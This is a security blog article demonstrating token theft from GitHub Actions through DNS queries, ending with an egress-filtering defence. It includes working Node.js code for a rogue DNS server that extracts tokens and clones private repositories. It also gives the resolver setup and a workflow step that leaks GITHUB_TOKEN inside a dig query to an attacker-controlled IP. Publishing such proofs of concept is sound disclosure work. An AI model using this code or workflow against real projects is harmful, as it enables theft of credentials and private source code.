Exploiting DNS Exfiltration in Github Actions
This article demonstrates a proof-of-concept for cloning private GitHub repositories using DNS exfiltration, highlighting a potential security risk within GitHub Actions workflows.
Disclaimer
Understanding DNS Exfiltration
Before jumping into the proof-of-concept, let’s break down what DNS exfiltration is and why it’s a threat. DNS (Domain Name System) is like the phonebook of the internet, translating domain names into IP addresses so that browsers and other clients using the internet can load the right resources. However, this system can be exploited to sneak data out of a network without detection.
In a DNS exfiltration attack, sensitive information is encoded into DNS queries sent to a malicious DNS server. Since DNS traffic is usually allowed to pass through firewalls without much scrutiny, it’s an effective way for attackers to extract data from a secure environment. The malicious DNS server then decodes the information embedded in these queries, gaining access to the sensitive data.
High-Level Overview of the Proof-of-concept Attack
In this proof-of-concept attack, we exploit a vulnerability in GitHub Actions workflows to exfiltrate sensitive information, specifically GitHub tokens, using DNS queries. Here’s a simplified breakdown of how it works:
Compromised Workflow
The attack begins with a compromised GitHub Actions workflow. This can be due to malicious code in a third-party action or a script within the workflow itself.
Exfiltration via DNS
The compromised workflow makes a DNS query to a specially crafted domain. This domain includes the sensitive GitHub token embedded within it.
Malicious DNS Server
A malicious DNS server, set up by the attacker, receives the DNS query. The server extracts the token from the query.
Repository Cloning
Using the extracted token, the malicious server clones the private GitHub repository, granting the attacker unauthorized access to its contents.
Stealth and Evasion
Because DNS queries are typically trusted and not closely monitored, this method of data exfiltration often evades traditional security measures, making it a stealthy and effective attack vector.
Let’s now dive into the proof-of-concept!
Setup the DNS server
Get a server that can be accessed publicly
We recommend that you use an ephemeral VM for this, as we will modify the local DNS resolver and this could mess up with your server’s ability to resolve IP addresses and access local or remote services if not correctly configured.
For this POC we are using an AWS EC2 instance using Ubuntu. After launching your Ubuntu instance, SSH into it and install a few software that we need to run our DNS server.
sudo apt-get update && \
sudo apt-get install -y dnsmasq nodejs npm net-tools git
Create a custom DNS server
We’ll use nodejs to create a custom DNS server which will extract the Github Token from the DNS query.
First setup the project folder and install native-dns:
mkdir dnsx
cd dnsx
npm init -y
npm install native-dns
Now create a file named dns.js
with the content below:
const dns = require("native-dns");
const server = dns.createServer();
const util = require("node:util");
const { exec: execCb } = require("node:child_process");
const exec = util.promisify(execCb);
function dnsResponse(name) {
return dns.A({
name,
address: "10.0.0.1", //this IP address is non-consequential, it could be anything
ttl: 60,
});
}
server.on("request", (request, response) => {
request.question.forEach((question) => {
console.log("DNS Question:", question);
if (question.name === "test.dnsx.github.com") {
response.answer.push(dnsResponse(question.name));
response.send();
return;
}
const [owner, repo, token] = question.name.split(".").slice(0, 3);
if (!token || !["ghs", "ghp"].includes(token.slice(0, 3))) {
console.error("Invalid token:", token);
response.answer.push(dnsResponse(question.name));
response.send();
return;
}
fullRepo = `${owner}/${repo}`;
console.log(`Repo: ${fullRepo}, Token: ${token}`);
exec(`git clone https://thanks:${token}@github.com/${fullRepo}.git`).catch(
(err) => {
console.error("Error:", err);
}
);
response.answer.push(dnsResponse(question.name));
response.send();
});
});
server.on("error", (err) => {
console.error("Server error:", err);
});
console.log("serving on 5353");
server.serve(5353);
Now run the server:
node dns.js
You should now see serving on 5353
in your console. You can test that your DNS server is responding to DNS queries using dig:
dig @127.0.0.1 -p 5353 test.dnsx.github.com
The DNS response should be an A record with IP 10.0.0.1.
If you look closely at the code from the custom nodejs DNS server, you can notice that we’re expecting to receive DNS queries with the following format <GITHUB_OWNER>.<GITHUB_REPO>.<GITHUB_TOKEN>.dnsx.github.com
. Upong receiving the DNS query, the values are extracted from the domain name in the DNS query and immediately the Github repository is cloned.
Configure dnsmasq
The default DNS resolver on Ubuntu is systemd-resolved, but it lacks some features, like forwarding DNS queries to a different name server for a specific domain. We’ll replace our local DNS resolver with dnsmasq, which provides more flexibility. We’ll configure dnsmasq to use our custom DNS server for DNS queries to domain dnsx.github.com
and use 8.8.8.8 (Google’s DNS) for every other domains.
Open /etc/dnsmasq.conf
and set the following config:
server=/dnsx.github.com/127.0.0.1#5353
server=/#/8.8.8.8
interface=lo
interface=ens5 # replace with your network interface that will receive public request
The second interface
in the dnsmasq.conf file is important. You need to make sure the network interface which will receive DNS queries from the internet is added here. On AWS, the network interface is ens5
, but a common one is eth0
. You can get the default network interface with the following command:
ip route | grep default | awk '{print $5}'
Now disable systemd-resolved and configure the system to use dnsmasq as the DNS resolver.
sudo systemctl disable --now systemd-resolved
Open /etc/resolv.conf
and set the following config:
nameserver 127.0.0.1
Finally, restart the dnsmasq service
sudo systemctl restart dnsmasq
Confirm the setup by sending a DNS query to our default DNS server on port 53 (default port):
dig test.dnsx.github.com
Again, the DNS response should be an A record with IP 10.0.0.1.
Test from the public internet
The test above only verified that the DNS server is properly configured on the localhost. Let’s validate the setup is working fine when sending DNS queries from the public internet.
First, make sure the server has a public IP address and has opened the port 53.
On AWS, this can be done by adding the following inbound rules to the security group attached to the EC2 instance:
- DNS (TCP), Port 53, Source 0.0.0.0/0
- DNS (UDP), Port 53, Source 0.0.0.0/0
Now, from another machine, send a DNS query to your DNS server public IP address:
dig @<PUBLIC_IP> test.dnsx.github.com
Again, the DNS response should be an A record with IP 10.0.0.1.
Using the public internet DNS resolution
Instead of specifying the custom DNS server IP address as the name server to use for the dig
command, you can also use a real domain that you own and configure the NS
record to point to your custom DNS server. Obviously, we won’t be able to use the domain dnsx.github.com
we’ve been using above, since we don’t control the github.com domain, so we would need to use a domain that we own and control the DNS records. For example, if you own the example.com
domain, you could configure the following DNS records in your domain DNS configuration (e.g. in AWS Route 53 or Cloudflare DNS):
- Add an
A
record forns.example.com
that resolves to your custom DNS server public IP address - Add a
NS
record fordnsx.example.com
withns.example.com
as the value
Now, from any machine, you can send a DNS query to your domain, without specifying the custom DNS server IP address, but still have it resolved by your custom DNS server:
dig test.dnsx.example.com
Of coursse, you would also need to modify the dnsmasq configuration and the code of the custom DNS server to respond to your domain (e.g. dnxs.example.com
instead of dnsx.github.com
):
Exfiltrating Github Token via DNS
If you are familiar with Github Actions, you probably know that Github Actions workflows are running with a default Github token, which provides by default read permissions on the repository where the workflow is running, and can even have write permissions if the workflow is configured as such (or even run with Personal Access Token that a developer would have configured). Default workflow Github tokens are short-lived and will only live for the duration of the workflow.
For this proof-of-concept, we are particularly interested in private repositories. Malicious code which will exfiltrate data could be running from compromised third-party packages or Github Actions. For the purpose of this proof-of-concept, we’ll assume that a private repository is running a compromised third-party action, which is configured to use the default Github token as an input, making the Github token (with repo read access) available for the code running in the action.
To simplify this proof-of-concept, we’ll simply run the following workflow in the private repository that we are targeting, which will make a DNS query using dig
:
name: DNS Exfiltration
on:
push:
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
repo=$(echo ${{ github.repository }} | cut -d'/' -f2)
dig @<PUBLIC_IP> ${{ github.repository_owner}}.$repo.${{ secrets.GITHUB_TOKEN}}.dnsx.github.com
Replace <PUBLIC_IP>
with the public IP address of your DNS server and run the workflow above. You should see the private repo being cloned on the server where the custom DNS server is running. A short-lived and ephemeral access token couldn’t prevent against DNS exfiltration.
Protecting Against DNS Exfiltration
Traditional security solutions that provide egress filtering will require you to allow or block specific IP addresses or IP ranges. Given the highly dynamic nature of IP addresses for most cloud services, this unfortunately doesn’t meet most teams and organizations needs. There are some more sophisticated security solutions that allow you to filter based on domain names. Unfortunately, some of them do not provide the necessary protection against DNS exfiltration. The problem is that they allow all DNS queries and only block traditional TCP/UDP connections to IP addresses of domains that are not allowed, but in the case of DNS exfiltration, the harm has already been done during the IP resolution.
Solutions like bullfrog are purpose-built for providing egress filtering capabilities in Github Actions workflow and can effectively protect against DNS exfiltration. To block DNS exfiltration in our POC workflow, we add a step at the beginning of the job that use the bullfrog Github Action:
name: DNS Exfiltration
on:
push:
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Egress filtering
uses: bullfrogsec/bullfrog@v0
with:
egress-policy: block
allowed-domains: |
*.github.com
- run: |
repo=$(echo ${{ github.repository }} | cut -d'/' -f2)
dig @<PUBLIC_IP> ${{ github.repository_owner}}.$repo.${{ secrets.GITHUB_TOKEN}}.dnsx.github.com
If you run the example workflow above, you should see the DNS query for the dnsx.github.com
domain being blocked (in the workflow annotations) and you won’t see the DNS query being received by your custom DNS server. Even with the *.github.com
domains being allowed in bullfrog, the query is blocked because the specified name server is not trusted.
Conclusion
DNS exfiltration poses a significant threat to the security of private repositories, especially within automated CI/CD pipelines like GitHub Actions. This proof-of-concept underscores the importance of implementing robust security measures to prevent unauthorized access and data leakage. By leveraging egress filtering solutions and staying vigilant about third-party dependencies, developers can mitigate the risks associated with DNS exfiltration.